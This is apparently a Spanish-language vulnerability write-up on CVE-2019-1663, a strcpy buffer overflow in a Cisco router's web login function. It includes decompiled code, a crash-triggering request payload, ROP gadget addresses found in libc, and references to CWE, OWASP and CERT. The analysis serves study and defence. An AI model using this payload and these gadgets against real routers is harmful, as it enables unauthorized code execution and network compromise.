
Autor: Corentin Wolff
La vulnerabilidad se origina en la función 0x0002BF64, que hace un uso indebido de la función strcpy, lo que la hace propensa a ataques de desbordamiento de búfer. Para mayor claridad, esta función ha sido renombrada como Login. A continuación se muestra un fragmento que ilustra el problema:
undefined4 Login(char *param_1, char *param_2, char *param_3, int param_4) { ... }
En este fragmento, la función strcpy se utiliza de forma inadecuada, provocando una vulnerabilidad de desbordamiento de búfer:
if (param_4 == 0) {
iVar2 = strncmp(acStack_fa, "enc=", 4);
if (iVar2 != 0) {
strcpy(acStack_15e, acStack_fa);
strcpy(acStack_1c2, param_2);
goto LAB_0002c264;
}
}
Esta parte del código comprueba el nombre de usuario:
if (iVar2 != 0) {
syslog(6, "Web management login failed, user=%s\n", param_1);
}
El parámetro param_1 se identifica como el campo de nombre de usuario.
De manera similar, param_2 corresponde a la contraseña, mientras que param_3 se identifica como httpd_user.
La variable login_flag representa los estados de conexión:
0 → Error de inicio de sesión
1 → Inicio de sesión de administrador exitoso
2 → Inicio de sesión de administrador denegado debido a una sesión existente
3 → Inicio de sesión de administrador que fuerza el cierre de sesión
La vulnerabilidad es un Desbordamiento de Búfer causado por el uso inadecuado de la función strcpy.
La función strcpy no comprueba el tamaño de la cadena de origen frente a la capacidad del búfer de destino. Esto permite que regiones de memoria adyacentes sean sobrescritas.
CVE-2019-1663 explota la falta de validación del tamaño de entrada en ciertos modelos de routers de Cisco.
a. No Length Check: Unsanitized user input is passed to strcpy.
b. Memory Overflow: Excess data overwrites critical memory regions.
c. Arbitrary Code Execution: Attackers inject and execute malicious code.
d. Exploitation Requirements: Access to the router's web configuration server.
e. Impact: Privileged access, enabling network espionage, traffic redirection, malware installation, or backdoors.
&enc=1&user=cisco&pwd=AAAA...AAAAZZZZ&sel_lang=EN
Esto provoca una falla de segmentación. Al determinar el tamaño óptimo del búfer, los atacantes pueden inyectar y ejecutar código malicioso.
ibc.so.0/ELF/ARM)> disasm_address 0x00034410
Instructions
============
0x00034410: pop {r0, pc}
(libc.so.0/ELF/ARM)> disasm_address 0x00041304
Instructions
============
0x00041304: mov r2, r0
(libc.so.0/ELF/ARM)> search %mov r2, r0%
[INFO] Searching for gadgets: %mov r2, r0%
[INFO] File: libc.so.0
0x00041304: mov r2, r0; mov r0, sp; blx r2;
MITRE CWE-120: Buffer Copy without Checking Size of Input
https://cwe.mitre.org/data/definitions/120.html
MITRE CWE-787: Out-of-bounds Write
https://cwe.mitre.org/data/definitions/787.html
Descripción General del Desbordamiento de Búfer según OWASP
https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
"Buffer Overflow" en Microsoft Learn
https://learn.microsoft.com/en-us/cpp/security/security-best-practices-for-c-cpp
Estándares de Codificación Segura de CERT - STR31-C
https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator
Explotando CVE-2019-1663 - Write-up por Quentin Kaiser
https://quentinkaiser.be/exploitdev/2019/08/30/exploit-cve-2019-1663